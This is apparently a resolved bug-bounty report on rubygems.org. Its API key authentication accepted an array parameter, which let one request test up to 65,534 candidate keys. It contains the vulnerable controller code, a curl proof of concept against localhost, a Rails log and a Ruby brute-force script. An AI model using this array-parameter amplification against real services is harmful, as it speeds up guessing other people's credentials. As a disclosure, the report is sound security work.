65534 times efficient, Brute-force attack for api_key
Low
R
RubyGems
Submitted None
Actions:
Reported by
ooooooo_q
Vulnerability Details
Technical details and impact analysis
I have found that type checking for `api_key` is insufficient in rubygems.org's source code.
https://github.com/rubygems/rubygems.org/blob/master/app/controllers/application_controller.rb#L63
```ruby
def authenticate_with_api_key
api_key = request.headers["Authorization"] || params[:api_key]
@api_user = User.find_by_api_key(api_key)
end
```
Using an array in `params[:api_key]` makes searching for api_key more efficient.
### poc
1. start server in local
2. Access url with multiple api_key
```
$ curl --globoff 'http://localhost:3000/api/v1/gems?api_key[]=key1&api_key[]=key2'
> Access Denied. Please sign up for an account at https://rubygems.org
```
##### rails log
```log
Started GET "/api/v1/gems?api_key[]=key1&api_key[]=key2" for ::1 at 2018-11-24 23:03:30 +0900
Processing by Api::V1::RubygemsController#index as */*
Parameters: {"api_key"=>["key1", "key2"]}
User Load (0.5ms) SELECT "users".* FROM "users" WHERE "users"."api_key" IN ($1, $2) LIMIT $3 [["api_key", "key1"], ["api_key", "key2"], ["LIMIT", 1]]
↳ app/controllers/application_controller.rb:65
Rendering text template
Rendered text template (0.0ms)
Filter chain halted as :verify_authenticated_user rendered or redirected
Completed 401 Unauthorized in 2ms (Views: 0.3ms | ActiveRecord: 0.5ms | Elasticsearch: 0.0ms)
```
## Impact
As a result of trying how much it can be sent using POST, 65534 api_key's could be sent.
A postgres error will occur if you send more values.
Here is the script used for confirmation.
```ruby
require 'net/http'
require 'securerandom'
require 'json'
keys = 65534.times.map{SecureRandom.hex(32)}
# keys = 65535.times.map{SecureRandom.hex(32)} # error
uri = URI.parse("http://localhost:3000/api/v1/web_hooks/fire.json?url=http://example.com/")
http = Net::HTTP.new(uri.host, uri.port)
req = Net::HTTP::Post.new(uri.path)
req["Content-Type"] = "application/json"
req.body = {api_key: keys}.to_json
res = http.request(req)
```
Attacks against api_key are 65534 times more efficient, but since the string generated by `SecureRandom.hex (32)` has sufficient length, the impact seems to be minimal.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved